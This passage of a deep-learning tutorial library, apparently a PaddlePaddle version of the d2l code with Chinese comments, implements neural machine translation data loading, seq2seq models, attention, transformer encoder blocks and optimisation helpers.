nn.GRU\u4ee5\u5f20\u91cf\u4f5c\u4e3a\u9690\u72b6\u6001\n            return  paddle.zeros(shape=[self.num_directions * self.rnn.num_layers,\n                                                           batch_size, self.num_hiddens])\n        else:\n            # nn.LSTM\u4ee5\u5143\u7ec4\u4f5c\u4e3a\u9690\u72b6\u6001\n            return (paddle.zeros(\n                shape=[self.num_directions * self.rnn.num_layers,\n                batch_size, self.num_hiddens]),\n                    paddle.zeros(\n                        shape=[self.num_directions * self.rnn.num_layers,\n                        batch_size, self.num_hiddens]))\n\n\"\"\"9.5\"\"\"\nd2l.DATA_HUB['fra-eng'] = (d2l.DATA_URL + 'fra-eng.zip',\n                           '94646ad1522d915e7b0f9296181140edcf86a4f5')\ndef read_data_nmt():\n    \"\"\"\u8f7d\u5165\u201c\u82f1\u8bed\uff0d\u6cd5\u8bed\u201d\u6570\u636e\u96c6\"\"\"\n    data_dir = d2l.download_extract('fra-eng')\n    with open(os.path.join(data_dir, 'fra.txt'), 'r',\n             encoding='utf-8') as f:\n        return f.read()\n\ndef preprocess_nmt(text):\n    \"\"\"\u9884\u5904\u7406\u201c\u82f1\u8bed\uff0d\u6cd5\u8bed\u201d\u6570\u636e\u96c6\"\"\"\n    def no_space(char, prev_char):\n        return char in set(',.!?') and prev_char != ' '\n\n    # \u4f7f\u7528\u7a7a\u683c\u66ff\u6362\u4e0d\u95f4\u65ad\u7a7a\u683c\n    # \u4f7f\u7528\u5c0f\u5199\u5b57\u6bcd\u66ff\u6362\u5927\u5199\u5b57\u6bcd\n    text = text.replace('\\u202f', ' ').replace('\\xa0', ' ').lower()\n    # \u5728\u5355\u8bcd\u548c\u6807\u70b9\u7b26\u53f7\u4e4b\u95f4\u63d2\u5165\u7a7a\u683c\n    out = [' ' + char if i > 0 and no_space(char, text[i - 1]) else char\n           for i, char in enumerate(text)]\n    return ''.join(out)\n\ndef tokenize_nmt(text, num_examples=None):\n    \"\"\"\u8bcd\u5143\u5316\u201c\u82f1\u8bed\uff0d\u6cd5\u8bed\u201d\u6570\u636e\u6570\u636e\u96c6\"\"\"\n    source, target = [], []\n    for i, line in enumerate(text.split('\\n')):\n        if num_examples and i > num_examples:\n            break\n        parts = line.split('\\t')\n        if len(parts) == 2:\n            source.append(parts[0].split(' '))\n            target.append(parts[1].split(' '))\n    return source, target\n\ndef truncate_pad(line, num_steps, padding_token):\n    \"\"\"\u622a\u65ad\u6216\u586b\u5145\u6587\u672c\u5e8f\u5217\"\"\"\n    if len(line) > num_steps:\n        return line[:num_steps]  # \u622a\u65ad\n    return line + [padding_token] * (num_steps - len(line))  # \u586b\u5145\n\ndef build_array_nmt(lines, vocab, num_steps):\n    \"\"\"\u5c06\u673a\u5668\u7ffb\u8bd1\u7684\u6587\u672c\u5e8f\u5217\u8f6c\u6362\u6210\u5c0f\u6279\u91cf\"\"\"\n    lines = [vocab[l] for l in lines]\n    lines = [l + [vocab['<eos>']] for l in lines]\n    array = paddle.to_tensor([truncate_pad(\n        l, num_steps, vocab['<pad>']) for l in lines])\n    valid_len = (array != vocab['<pad>']).astype(paddle.int32).sum(1)\n    return array, valid_len\n\ndef load_data_nmt(batch_size, num_steps, num_examples=600):\n    \"\"\"\u8fd4\u56de\u7ffb\u8bd1\u6570\u636e\u96c6\u7684\u8fed\u4ee3\u5668\u548c\u8bcd\u8868\"\"\"\n    text = preprocess_nmt(read_data_nmt())\n    source, target = tokenize_nmt(text, num_examples)\n    src_vocab = d2l.Vocab(source, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    tgt_vocab = d2l.Vocab(target, min_freq=2,\n                          reserved_tokens=['<pad>', '<bos>', '<eos>'])\n    src_array, src_valid_len = build_array_nmt(source, src_vocab, num_steps)\n    tgt_array, tgt_valid_len = build_array_nmt(target, tgt_vocab, num_steps)\n    data_arrays = (src_array, src_valid_len, tgt_array, tgt_valid_len)\n    data_iter = d2l.load_array(data_arrays, batch_size)\n    return data_iter, src_vocab, tgt_vocab\n\n\"\"\"9.6\"\"\"\nclass Encoder(nn.Layer):\n    \"\"\"\u7f16\u7801\u5668-\u89e3\u7801\u5668\u67b6\u6784\u7684\u57fa\u672c\u7f16\u7801\u5668\u63a5\u53e3\"\"\"\n    def __init__(self, **kwargs):\n        super(Encoder, self).__init__(**kwargs)\n\n    def forward(self, X, *args):\n        raise NotImplementedError\n\nclass Decoder(nn.Layer):\n    \"\"\"\u7f16\u7801\u5668-\u89e3\u7801\u5668\u67b6\u6784\u7684\u57fa\u672c\u89e3\u7801\u5668\u63a5\u53e3\"\"\"\n    def __init__(self, **kwargs):\n        super(Decoder, self).__init__(**kwargs)\n\n    def init_state(self, enc_outputs, *args):\n        raise NotImplementedError\n\n    def forward(self, X, state):\n        raise NotImplementedError\n\nclass EncoderDecoder(nn.Layer):\n    \"\"\"\u7f16\u7801\u5668-\u89e3\u7801\u5668\u67b6\u6784\u7684\u57fa\u7c7b\"\"\"\n    def __init__(self, encoder, decoder, **kwargs):\n        super(EncoderDecoder, self).__init__(**kwargs)\n        self.encoder = encoder\n        self.decoder = decoder\n\n    def forward(self, enc_X, dec_X, *args):\n        enc_outputs = self.encoder(enc_X, *args)\n        dec_state = self.decoder.init_state(enc_outputs, *args)\n        return self.decoder(dec_X, dec_state)\n\n\"\"\"9.7\"\"\"\nclass Seq2SeqEncoder(d2l.Encoder):\n    \"\"\"\u7528\u4e8e\u5e8f\u5217\u5230\u5e8f\u5217\u5b66\u4e60\u7684\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u7f16\u7801\u5668\"\"\"\n    def __init__(self, vocab_size, embed_size, num_hiddens, num_layers,\n                 dropout=0, **kwargs):\n        super(Seq2SeqEncoder, self).__init__(**kwargs)\n        weight_ih_attr = paddle.ParamAttr(initializer=nn.initializer.XavierUniform())\n        weight_hh_attr = paddle.ParamAttr(initializer=nn.initializer.XavierUniform())\n        # \u5d4c\u5165\u5c42\n        self.embedding = nn.Embedding(vocab_size, embed_size)\n        self.rnn = nn.GRU(embed_size, num_hiddens, num_layers, dropout=dropout,\n                          time_major=True, weight_ih_attr=weight_ih_attr, weight_hh_attr=weight_hh_attr)\n\n    def forward(self, X, *args):\n        # \u8f93\u51fa'X'\u7684\u5f62\u72b6\uff1a(batch_size,num_steps,embed_size)\n        X = self.embedding(X)\n        # \u5728\u5faa\u73af\u795e\u7ecf\u7f51\u7edc\u6a21\u578b\u4e2d\uff0c\u7b2c\u4e00\u4e2a\u8f74\u5bf9\u5e94\u4e8e\u65f6\u95f4\u6b65\n        X = X.transpose([1, 0, 2])\n        # \u5982\u679c\u672a\u63d0\u53ca\u72b6\u6001\uff0c\u5219\u9ed8\u8ba4\u4e3a0\n        output, state = self.rnn(X)\n        # PaddlePaddle\u7684GRU\u5c42output\u7684\u5f62\u72b6:(batch_size,time_steps,num_directions * num_hiddens),\n        # \u9700\u8bbe\u5b9atime_major=True,\u6307\u5b9ainput\u7684\u7b2c\u4e00\u4e2a\u7ef4\u5ea6\u4e3atime_steps\n        # state[0]\u7684\u5f62\u72b6:(num_layers,batch_size,num_hiddens)\n        return output, state\n\ndef sequence_mask(X, valid_len, value=0):#@save\n    \"\"\"\u5728\u5e8f\u5217\u4e2d\u5c4f\u853d\u4e0d\u76f8\u5173\u7684\u9879\"\"\"\n    maxlen = X.shape[1]\n    mask = paddle.arange((maxlen), dtype=paddle.float32)[None, :] < valid_len[:, None]\n    Xtype = X.dtype\n    X=X.astype(paddle.float32)\n    X[~mask] = float(value)\n    return X.astype(Xtype)\n\nclass MaskedSoftmaxCELoss(nn.CrossEntropyLoss):\n    \"\"\"\u5e26\u906e\u853d\u7684softmax\u4ea4\u53c9\u71b5\u635f\u5931\u51fd\u6570\"\"\"\n    # pred\u7684\u5f62\u72b6\uff1a(batch_size,num_steps,vocab_size)\n    # label\u7684\u5f62\u72b6\uff1a(batch_size,num_steps)\n    # valid_len\u7684\u5f62\u72b6\uff1a(batch_size,)\n    def forward(self, pred, label, valid_len):\n        weights = paddle.ones_like(label)\n        weights = sequence_mask(weights, valid_len)\n        self.reduction='none'\n        unweighted_loss = super(MaskedSoftmaxCELoss, self).forward(\n            pred, label)\n        weighted_loss = (unweighted_loss * weights).mean(axis=1)\n        return weighted_loss\n\ndef train_seq2seq(net, data_iter, lr, num_epochs, tgt_vocab, device):\n    \"\"\"\u8bad\u7ec3\u5e8f\u5217\u5230\u5e8f\u5217\u6a21\u578b\"\"\"\n    optimizer = paddle.optimizer.Adam(learning_rate=lr, parameters=net.parameters())\n    loss = MaskedSoftmaxCELoss()\n    net.train()\n    animator = d2l.Animator(xlabel='epoch', ylabel='loss',\n                     xlim=[10, num_epochs])\n    for epoch in range(num_epochs):\n        timer = d2l.Timer()\n        metric = d2l.Accumulator(2)  # \u8bad\u7ec3\u635f\u5931\u603b\u548c\uff0c\u8bcd\u5143\u6570\u91cf\n        for batch in data_iter:\n            optimizer.clear_grad()\n            X, X_valid_len, Y, Y_valid_len = [paddle.to_tensor(x, place=device) for x in batch]\n            bos = paddle.to_tensor([tgt_vocab['<bos>']] * Y.shape[0]).reshape([-1, 1])\n            dec_input = paddle.concat([bos, Y[:, :-1]], 1)  # \u5f3a\u5236\u6559\u5b66\n            Y_hat, _ = net(X, dec_input, X_valid_len)\n            l = loss(Y_hat, Y, Y_valid_len.squeeze())\n            l.backward()\t# \u635f\u5931\u51fd\u6570\u7684\u6807\u91cf\u8fdb\u884c\u201c\u53cd\u5411\u4f20\u64ad\u201d\n            d2l.grad_clipping(net, 1)\n            num_tokens = Y_valid_len.sum()\n            optimizer.step()\n            with paddle.no_grad():\n                metric.add(l.sum(), num_tokens)\n        if (epoch + 1) % 10 == 0:\n            animator.add(epoch + 1, (metric[0] / metric[1],))\n    print(f'loss {metric[0] / metric[1]:.3f}, {metric[1] / timer.stop():.1f} '\n        f'tokens/sec on {str(device)}')\n\ndef predict_seq2seq(net, src_sentence, src_vocab, tgt_vocab, num_steps,\n                    device, save_attention_weights=False):\n    \"\"\"\u5e8f\u5217\u5230\u5e8f\u5217\u6a21\u578b\u7684\u9884\u6d4b\"\"\"\n    # \u5728\u9884\u6d4b\u65f6\u5c06net\u8bbe\u7f6e\u4e3a\u8bc4\u4f30\u6a21\u5f0f\n    net.eval()\n    src_tokens = src_vocab[src_sentence.lower().split(' ')] + [\n        src_vocab['<eos>']]\n    enc_valid_len = paddle.to_tensor([len(src_tokens)], place=device)\n    src_tokens = d2l.truncate_pad(src_tokens, num_steps, src_vocab['<pad>'])\n    # \u6dfb\u52a0\u6279\u91cf\u8f74\n    enc_X = paddle.unsqueeze(\n        paddle.to_tensor(src_tokens, dtype=paddle.int64, place=device), axis=0)\n    enc_outputs = net.encoder(enc_X, enc_valid_len)\n    dec_state = net.decoder.init_state(enc_outputs, enc_valid_len)\n    # \u6dfb\u52a0\u6279\u91cf\u8f74\n    dec_X = paddle.unsqueeze(paddle.to_tensor(\n        [tgt_vocab['<bos>']], dtype=paddle.int64, place=device), axis=0)\n    output_seq, attention_weight_seq = [], []\n    for _ in range(num_steps):\n        Y, dec_state = net.decoder(dec_X, dec_state)\n        # \u6211\u4eec\u4f7f\u7528\u5177\u6709\u9884\u6d4b\u6700\u9ad8\u53ef\u80fd\u6027\u7684\u8bcd\u5143\uff0c\u4f5c\u4e3a\u89e3\u7801\u5668\u5728\u4e0b\u4e00\u65f6\u95f4\u6b65\u7684\u8f93\u5165\n        dec_X = Y.argmax(axis=2)\n        pred = dec_X.squeeze(axis=0).astype(paddle.int32).item()\n        # \u4fdd\u5b58\u6ce8\u610f\u529b\u6743\u91cd\uff08\u7a0d\u540e\u8ba8\u8bba\uff09\n        if save_attention_weights:\n            attention_weight_seq.append(net.decoder.attention_weights)\n        # \u4e00\u65e6\u5e8f\u5217\u7ed3\u675f\u8bcd\u5143\u88ab\u9884\u6d4b\uff0c\u8f93\u51fa\u5e8f\u5217\u7684\u751f\u6210\u5c31\u5b8c\u6210\u4e86\n        if pred == tgt_vocab['<eos>']:\n            break\n        output_seq.append(pred)\n    return ' '.join(tgt_vocab.to_tokens(output_seq)), attention_weight_seq\n\ndef bleu(pred_seq, label_seq, k):  #@save\n    \"\"\"\u8ba1\u7b97BLEU\"\"\"\n    pred_tokens, label_tokens = pred_seq.split(' '), label_seq.split(' ')\n    len_pred, len_label = len(pred_tokens), len(label_tokens)\n    score = math.exp(min(0, 1 - len_label / len_pred))\n    for n in range(1, k + 1):\n        num_matches, label_subs = 0, collections.defaultdict(int)\n        for i in range(len_label - n + 1):\n            label_subs[' '.join(label_tokens[i: i + n])] += 1\n        for i in range(len_pred - n + 1):\n            if label_subs[' '.join(pred_tokens[i: i + n])] > 0:\n                num_matches += 1\n                label_subs[' '.join(pred_tokens[i: i + n])] -= 1\n        score *= math.pow(num_matches / (len_pred - n + 1), math.pow(0.5, n))\n    return score\n\n\"\"\"10.1\"\"\"\n#@save\ndef show_heatmaps(matrices, xlabel, ylabel, titles=None, figsize=(2.5, 2.5),\n                  cmap='Reds'):\n    \"\"\"\u663e\u793a\u77e9\u9635\u70ed\u56fe\"\"\"\n    d2l.use_svg_display()\n    num_rows, num_cols = matrices.shape[0], matrices.shape[1]\n    fig, axes = d2l.plt.subplots(num_rows, num_cols, figsize=figsize,\n                                sharex=True, sharey=True, squeeze=False)\n    for i, (row_axes, row_matrices) in enumerate(zip(axes, matrices)):\n        for j, (ax,matrix) in enumerate(zip(row_axes, row_matrices)):\n            pcm = ax.imshow(matrix.detach().numpy(), cmap=cmap)\n            if i == num_rows - 1:\n                ax.set_xlabel(xlabel)\n            if j == 0:\n                ax.set_ylabel(ylabel)\n            if titles:\n                ax.set_title(titles[j])\n    fig.colorbar(pcm, ax=axes, shrink=0.6);\n\n\"\"\"10.3\"\"\"\n#@save\ndef masked_softmax(X, valid_lens):\n    \"\"\"\u901a\u8fc7\u5728\u6700\u540e\u4e00\u4e2a\u8f74\u4e0a\u63a9\u853d\u5143\u7d20\u6765\u6267\u884csoftmax\u64cd\u4f5c\"\"\"\n    # X:3D\u5f20\u91cf\uff0cvalid_lens:1D\u62162D\u5f20\u91cf\n    if valid_lens is None:\n        return nn.functional.softmax(X, axis=-1)\n    else:\n        shape = X.shape\n        if (valid_lens.dim() == 1) or (valid_lens.dim() == 2 and (valid_lens.shape)[1] == 1):\n            valid_lens = paddle.tile(valid_lens.reshape((valid_lens.shape[0], -1)), [shape[1]]).reshape((-1,))\n        else:\n            valid_lens = valid_lens.reshape((-1,))\n        #     # \u6700\u540e\u4e00\u8f74\u4e0a\u88ab\u63a9\u853d\u7684\u5143\u7d20\u4f7f\u7528\u4e00\u4e2a\u975e\u5e38\u5927\u7684\u8d1f\u503c\u66ff\u6362\uff0c\u4ece\u800c\u5176softmax\u8f93\u51fa\u4e3a0\n\n        X = d2l.sequence_mask(X.reshape((-1, shape[-1])), valid_lens,\n                              value=-1e6)\n\n    return nn.functional.softmax(X.reshape(shape), axis=-1)\n\n#@save\nclass AdditiveAttention(nn.Layer):\n    \"\"\"\u52a0\u6027\u6ce8\u610f\u529b\"\"\"\n    def __init__(self, key_size, query_size, num_hiddens, dropout, **kwargs):\n        super(AdditiveAttention, self).__init__(**kwargs)\n        self.W_k = nn.Linear(key_size, num_hiddens, bias_attr=False)\n        self.W_q = nn.Linear(query_size, num_hiddens, bias_attr=False)\n        self.w_v = nn.Linear(num_hiddens, 1, bias_attr=False)\n        self.dropout = nn.Dropout(dropout)\n\n    def forward(self, queries, keys, values, valid_lens):\n        queries, keys = self.W_q(queries), self.W_k(keys)\n        # \u5728\u7ef4\u5ea6\u6269\u5c55\u540e\uff0c\n        # queries\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570\uff0c1\uff0cnum_hidden)\n        # key\u7684\u5f62\u72b6\uff1a(batch_size\uff0c1\uff0c\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0cnum_hiddens)\n        # \u4f7f\u7528\u5e7f\u64ad\u65b9\u5f0f\u8fdb\u884c\u6c42\u548c\n        features = queries.unsqueeze(2) + keys.unsqueeze(1)\n        features = paddle.tanh(features)\n        # self.w_v\u4ec5\u6709\u4e00\u4e2a\u8f93\u51fa\uff0c\u56e0\u6b64\u4ece\u5f62\u72b6\u4e2d\u79fb\u9664\u6700\u540e\u90a3\u4e2a\u7ef4\u5ea6\u3002\n        # scores\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570\uff0c\u201c\u952e-\u503c\u201d\u5bf9\u7684\u4e2a\u6570)\n        scores = self.w_v(features).squeeze(-1)\n        self.attention_weights = masked_softmax(scores, valid_lens)\n        # values\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0c\u503c\u7684\u7ef4\u5ea6)\n        return paddle.bmm(self.dropout(self.attention_weights), values)\n\n#@save\nclass DotProductAttention(nn.Layer):\n    \"\"\"\u7f29\u653e\u70b9\u79ef\u6ce8\u610f\u529b\"\"\"\n    def __init__(self, dropout, **kwargs):\n        super(DotProductAttention, self).__init__(**kwargs)\n        self.dropout = nn.Dropout(dropout)\n\n    # queries\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570\uff0cd)\n    # keys\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0cd)\n    # values\u7684\u5f62\u72b6\uff1a(batch_size\uff0c\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0c\u503c\u7684\u7ef4\u5ea6)\n    # valid_lens\u7684\u5f62\u72b6:(batch_size\uff0c)\u6216\u8005(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570)\n    def forward(self, queries, keys, values, valid_lens=None):\n        d = queries.shape[-1]\n        # \u8bbe\u7f6etranspose_b=True\u4e3a\u4e86\u4ea4\u6362keys\u7684\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\n        scores = paddle.bmm(queries, keys.transpose((0, 2, 1))) / math.sqrt(d)\n        self.attention_weights = masked_softmax(scores, valid_lens)\n        return paddle.bmm(self.dropout(self.attention_weights), values)\n\n\"\"\"10.4\"\"\"\n#@save\nclass AttentionDecoder(d2l.Decoder):\n    \"\"\"\u5e26\u6709\u6ce8\u610f\u529b\u673a\u5236\u89e3\u7801\u5668\u7684\u57fa\u672c\u63a5\u53e3\"\"\"\n    def __init__(self, **kwargs):\n        super(AttentionDecoder, self).__init__(**kwargs)\n\n    @property\n    def attention_weights(self):\n        raise NotImplementedError\n\n\"\"\"10.5\"\"\"\n#@save\nclass MultiHeadAttention(nn.Layer):\n    def __init__(self, key_size, query_size, value_size, num_hiddens,\n                 num_heads, dropout, bias=False, **kwargs):\n        super(MultiHeadAttention, self).__init__(**kwargs)\n        self.num_heads = num_heads\n        self.attention = d2l.DotProductAttention(dropout)\n        self.W_q = nn.Linear(query_size, num_hiddens, bias_attr=bias)\n        self.W_k = nn.Linear(key_size, num_hiddens, bias_attr=bias)\n        self.W_v = nn.Linear(value_size, num_hiddens, bias_attr=bias)\n        self.W_o = nn.Linear(num_hiddens, num_hiddens, bias_attr=bias)\n\n    def forward(self, queries, keys, values, valid_lens):\n        # queries\uff0ckeys\uff0cvalues\u7684\u5f62\u72b6:\n        # (batch_size\uff0c\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0cnum_hiddens)\n        # valid_lens\u3000\u7684\u5f62\u72b6:\n        # (batch_size\uff0c)\u6216(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570)\n        # \u7ecf\u8fc7\u53d8\u6362\u540e\uff0c\u8f93\u51fa\u7684queries\uff0ckeys\uff0cvalues\u3000\u7684\u5f62\u72b6:\n        # (batch_size*num_heads\uff0c\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0c\n        # num_hiddens/num_heads)\n        queries = transpose_qkv(self.W_q(queries), self.num_heads)\n        keys = transpose_qkv(self.W_k(keys), self.num_heads)\n        values = transpose_qkv(self.W_v(values), self.num_heads)\n        if valid_lens is not None:\n            # \u5728\u8f740\uff0c\u5c06\u7b2c\u4e00\u9879\uff08\u6807\u91cf\u6216\u8005\u77e2\u91cf\uff09\u590d\u5236num_heads\u6b21\uff0c\n            # \u7136\u540e\u5982\u6b64\u590d\u5236\u7b2c\u4e8c\u9879\uff0c\u7136\u540e\u8bf8\u5982\u6b64\u7c7b\u3002\n            valid_lens_np = valid_lens.numpy()\n            valid_lens_np = np.repeat(valid_lens_np, self.num_heads, axis=0)\n            valid_lens = paddle.to_tensor(valid_lens_np)\n\n        # output\u7684\u5f62\u72b6:(batch_size*num_heads\uff0c\u67e5\u8be2\u7684\u4e2a\u6570\uff0c\n        # num_hiddens/num_heads)\n        output = self.attention(queries, keys, values, valid_lens)\n\n        # output_concat\u7684\u5f62\u72b6:(batch_size\uff0c\u67e5\u8be2\u7684\u4e2a\u6570\uff0cnum_hiddens)\n        output_concat = transpose_output(output, self.num_heads)\n        return self.W_o(output_concat)\n\n#@save\ndef transpose_qkv(X, num_heads):\n    \"\"\"\u4e3a\u4e86\u591a\u6ce8\u610f\u529b\u5934\u7684\u5e76\u884c\u8ba1\u7b97\u800c\u53d8\u6362\u5f62\u72b6\"\"\"\n    # \u8f93\u5165X\u7684\u5f62\u72b6:(batch_size\uff0c\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0cnum_hiddens)\n    # \u8f93\u51faX\u7684\u5f62\u72b6:(batch_size\uff0c\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570\uff0cnum_heads\uff0c\n    # num_hiddens/num_heads)\n    X = X.reshape((X.shape[0], X.shape[1], num_heads, -1))\n\n    # \u8f93\u51faX\u7684\u5f62\u72b6:(batch_size\uff0cnum_heads\uff0c\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570,\n    # num_hiddens/num_heads)\n    X = X.transpose((0, 2, 1, 3))\n\n    # \u6700\u7ec8\u8f93\u51fa\u7684\u5f62\u72b6:(batch_size*num_heads,\u67e5\u8be2\u6216\u8005\u201c\u952e\uff0d\u503c\u201d\u5bf9\u7684\u4e2a\u6570,\n    # num_hiddens/num_heads)\n    return X.reshape((-1, X.shape[2], X.shape[3]))\n\n\n#@save\ndef transpose_output(X, num_heads):\n    \"\"\"\u9006\u8f6ctranspose_qkv\u51fd\u6570\u7684\u64cd\u4f5c\"\"\"\n    X = X.reshape((-1, num_heads, X.shape[1], X.shape[2]))\n    X = X.transpose((0, 2, 1, 3))\n    return X.reshape((X.shape[0], X.shape[1], -1))\n\n\"\"\"10.6\"\"\"\n#@save\nclass PositionalEncoding(nn.Layer):\n    \"\"\"\u4f4d\u7f6e\u7f16\u7801\"\"\"\n    def __init__(self, num_hiddens, dropout, max_len=1000):\n        super(PositionalEncoding, self).__init__()\n        self.dropout = nn.Dropout(dropout)\n        # \u521b\u5efa\u4e00\u4e2a\u8db3\u591f\u957f\u7684P\n        self.P = paddle.zeros((1, max_len, num_hiddens))\n        X = paddle.arange(max_len, dtype=paddle.float32).reshape(\n            (-1, 1)) / paddle.pow(paddle.to_tensor([10000.0]), paddle.arange(\n            0, num_hiddens, 2, dtype=paddle.float32) / num_hiddens)\n        self.P[:, :, 0::2] = paddle.sin(X)\n        self.P[:, :, 1::2] = paddle.cos(X)\n\n    def forward(self, X):\n        X = X + self.P[:, :X.shape[1], :]\n        return self.dropout(X)\n\n\"\"\"10.7\"\"\"\n#@save\nclass PositionWiseFFN(nn.Layer):\n    \"\"\"\u57fa\u4e8e\u4f4d\u7f6e\u7684\u524d\u9988\u7f51\u7edc\"\"\"\n    def __init__(self, ffn_num_input, ffn_num_hiddens, ffn_num_outputs,\n                 **kwargs):\n        super(PositionWiseFFN, self).__init__(**kwargs)\n        self.dense1 = nn.Linear(ffn_num_input, ffn_num_hiddens)\n        self.relu = nn.ReLU()\n        self.dense2 = nn.Linear(ffn_num_hiddens, ffn_num_outputs)\n\n    def forward(self, X):\n        return self.dense2(self.relu(self.dense1(X)))\n\n#@save\nclass AddNorm(nn.Layer):\n    \"\"\"\u6b8b\u5dee\u8fde\u63a5\u540e\u8fdb\u884c\u5c42\u89c4\u8303\u5316\"\"\"\n    def __init__(self, normalized_shape, dropout, **kwargs):\n        super(AddNorm, self).__init__(**kwargs)\n        self.dropout = nn.Dropout(dropout)\n        self.ln = nn.LayerNorm(normalized_shape)\n\n    def forward(self, X, Y):\n        return self.ln(self.dropout(Y) + X)\n\n#@save\nclass EncoderBlock(nn.Layer):\n    \"\"\"transformer\u7f16\u7801\u5668\u5757\"\"\"\n    def __init__(self, key_size, query_size, value_size, num_hiddens,\n                 norm_shape, ffn_num_input, ffn_num_hiddens, num_heads,\n                 dropout, use_bias=False, **kwargs):\n        super(EncoderBlock, self).__init__(**kwargs)\n        self.attention = d2l.MultiHeadAttention(\n            key_size, query_size, value_size, num_hiddens, num_heads, dropout,\n            use_bias)\n        self.addnorm1 = AddNorm(norm_shape, dropout)\n        self.ffn = PositionWiseFFN(\n            ffn_num_input, ffn_num_hiddens, num_hiddens)\n        self.addnorm2 = AddNorm(norm_shape, dropout)\n\n    def forward(self, X, valid_lens):\n        Y = self.addnorm1(X, self.attention(X, X, X, valid_lens))\n        return self.addnorm2(Y, self.ffn(Y))\n\n#@save\nclass TransformerEncoder(d2l.Encoder):\n    \"\"\"transformer\u7f16\u7801\u5668\"\"\"\n    def __init__(self, vocab_size, key_size, query_size, value_size,\n                 num_hiddens, norm_shape, ffn_num_input, ffn_num_hiddens,\n                 num_heads, num_layers, dropout, use_bias=False, **kwargs):\n        super(TransformerEncoder, self).__init__(**kwargs)\n        self.num_hiddens = num_hiddens\n        self.embedding = nn.Embedding(vocab_size, num_hiddens)\n        self.pos_encoding = d2l.PositionalEncoding(num_hiddens, dropout)\n        self.blks = nn.Sequential()\n        for i in range(num_layers):\n            self.blks.add_sublayer(str(i),\n                EncoderBlock(key_size, query_size, value_size, num_hiddens,\n                             norm_shape, ffn_num_input, ffn_num_hiddens,\n                             num_heads, dropout, use_bias))\n\n    def forward(self, X, valid_lens, *args):\n        # \u56e0\u4e3a\u4f4d\u7f6e\u7f16\u7801\u503c\u5728-1\u548c1\u4e4b\u95f4\uff0c\n        # \u56e0\u6b64\u5d4c\u5165\u503c\u4e58\u4ee5\u5d4c\u5165\u7ef4\u5ea6\u7684\u5e73\u65b9\u6839\u8fdb\u884c\u7f29\u653e\uff0c\n        # \u7136\u540e\u518d\u4e0e\u4f4d\u7f6e\u7f16\u7801\u76f8\u52a0\u3002\n        X = self.pos_encoding(self.embedding(X) * math.sqrt(self.num_hiddens))\n        self.attention_weights = [None] * len(self.blks)\n        for i, blk in enumerate(self.blks):\n            print(blk)\n            X = blk(X, valid_lens)\n            self.attention_weights[\n                i] = blk.attention.attention.attention_weights\n        return X\n\n\"\"\"11.1\"\"\"\ndef annotate(text, xy, xytext):  #@save\n    d2l.plt.gca().annotate(text, xy=xy, xytext=xytext,\n                           arrowprops=dict(arrowstyle='->'))\n\n\"\"\"11.3\"\"\"\ndef train_2d(trainer, steps=20, f_grad=None):  # @save\n    \"\"\"\u7528\u5b9a\u5236\u7684\u8bad\u7ec3\u673a\u4f18\u53162D\u76ee\u6807\u51fd\u6570\"\"\"\n    # s1\u548cs2\u662f\u7a0d\u540e\u5c06\u4f7f\u7528\u7684\u5185\u90e8\u72b6\u6001\u53d8\u91cf\n    x1, x2, s1, s2 = -5, -2, 0, 0\n    results = [(x1, x2)]\n    for i in range(steps):\n        if f_grad:\n            x1, x2, s1, s2 = trainer(x1, x2, s1, s2, f_grad)\n        else:\n            x1, x2, s1, s2 = trainer(x1, x2, s1, s2)\n        results.append((x1, x2))\n    print(f'epoch {i + 1}, x1: {float(x1):f}, x2: {float(x2):f}')\n    return results\n\ndef show_trace_2d(f, results):  # @save\n    \"\"\"\u663e\u793a\u4f18\u5316\u8fc7\u7a0b\u4e2d2D\u53d8\u91cf\u7684\u8f68\u8ff9\"\"\"\n    d2l.set_figsize()\n    d2l.plt.plot(*zip(*results), '-o', color='#ff7f0e')\n    x1, x2 = paddle.meshgrid(\n        paddle.arange(-5.5, 1.0, 0.1, dtype='float32'), paddle.arange(-3.0, 1.0, 0.1, dtype='float32'))\n    d2l.plt.contour(x1, x2, f(x1, x2), colors='#1f77b4')\n    d2l.plt.xlabel('x1')\n    d2l.plt.ylabel('x2')\n\n\"\"\"11.5\"\"\"\n#@save\nd2l.DATA_HUB['airfoil'] = (d2l.DATA_URL + 'airfoil_self_noise.dat',\n                           '76e5be1548fd8222e5074cf0faae75edff8cf93f')\n\n#@save\ndef get_data_ch11(batch_size=10, n=1500):\n    data = np.genfromtxt(d2l.download('airfoil'),\n                         dtype=np.float32, delimiter='\\t')\n    data = d2l.tensor((data - data.mean(axis=0)) / data.std(axis=0))\n    data_iter = d2l.load_array((data[:n, :-1], data[:n, -1]),\n                               batch_size, is_train=True)\n    return data_iter, data.shape[1]-1\n\n#@save\ndef train_ch11(trainer_fn, states, hyperparams, data_iter,\n               feature_dim, num_epochs=2):\n    # \u521d\u59cb\u5316\u6a21\u578b\n    w = d2l.tensor(d2l.normal(mean=0.0, std=0.01, shape=(feature_dim, 1),),stop_gradient=False)\n    b = 